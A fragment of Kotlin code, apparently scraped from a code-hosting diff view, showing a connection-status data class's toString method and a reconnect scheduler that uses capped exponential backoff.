val socketIOConnected: Boolean,
|
||||
val reconnectAttempts: Int,
|
||||
val lastConnectionAttempt: Long
|
||||
) {
|
||||
override fun toString(): String {
|
||||
return "ConnectionStatus(connected=$isConnected, connecting=$isConnecting, " +
|
||||
"socketIO=$socketIOConnected, attempts=$reconnectAttempts, lastAttempt=$lastConnectionAttempt)"
|
||||
private fun scheduleNextReconnect() {
|
||||
val delayMs = RECONNECT_INTERVAL_MS * (1L shl minOf(reconnectAttempts, 5))
|
||||
Log.i(TAG, "Scheduling reconnect in ${delayMs}ms (attempt $reconnectAttempts)")
|
||||
networkScope.launch {
|
||||
delay(delayMs)
|
||||
if (!isConnected()) {
|
||||
reconnectToServer()
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user